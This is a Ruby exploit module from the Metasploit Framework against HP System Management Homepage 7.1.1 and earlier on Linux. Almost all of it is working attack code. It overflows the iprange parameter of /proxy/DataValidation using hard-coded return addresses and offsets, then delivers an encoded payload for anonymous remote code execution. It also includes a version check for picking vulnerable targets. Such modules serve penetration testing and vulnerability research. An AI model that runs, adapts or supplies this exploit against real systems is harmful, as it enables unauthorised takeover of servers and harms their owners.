### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
HttpFingerprint ={ :pattern =>[ /HP System Management Homepage/ ]}
include Msf::Exploit::Remote::HttpClient
def initialize(info ={})
super(update_info(info,
'Name'=>'HP System Management Anonymous Access Code Execution',
'Description'=> %q{
This module exploits an anonymous remote code execution on HP System Management
7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
a request against /proxy/DataValidation. In order to work HP System Management must
be configured with Anonymous access enabled.
},
'Author'=>['agix'], # @agixid'License'=> MSF_LICENSE,
'Payload'=>{'DisableNops'=> true,
'Space'=>1000,
'BadChars'=>"\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
'EncoderOptions'=>{'BufferRegister'=>'ESP'# See the comments below}},
'Platform'=>['linux'],
'Arch'=> ARCH_X86,
'References'=>[['OSVDB', '91812']],
'Targets'=>[['HP System Management 7.1.1 - Linux (CentOS)',
{'Ret'=> 0x8054e14, # push esp / ret'Offset'=>267}],
['HP System Management 6.3.0 - Linux (CentOS)',
{'Ret'=> 0x805a547, # push esp / ret'Offset'=>267}]],
'DisclosureDate'=>'Sep 01 2012',
'DefaultTarget'=>0))
register_options([
Opt::RPORT(2381),
OptBool.new('SSL', [true, 'Use SSL', true])], self.class)
end
def check
res = send_request_cgi({'method'=>'GET',
'uri'=>"/cpqlogin.htm"})if res and res.code ==200 and res.body =~ /"HP System Management Homepage v(.*)"/
version =$1return Exploit::CheckCode::Vulnerable if version <="7.1.1.1"
end
return Exploit::CheckCode::Safe
end
def exploit
padding = rand_text_alpha(target['Offset'])
ret =[target['Ret']].pack('V')
iprange ="a-bz"+padding+ret+payload.encoded
print_status("#{rhost}:#{rport} - Sending exploit...")
res = send_request_cgi({'method'=>'GET',
'uri'=>"/proxy/DataValidation",
'encode_params'=> false,
'vars_get'=>{'iprange'=> iprange
}})
end
end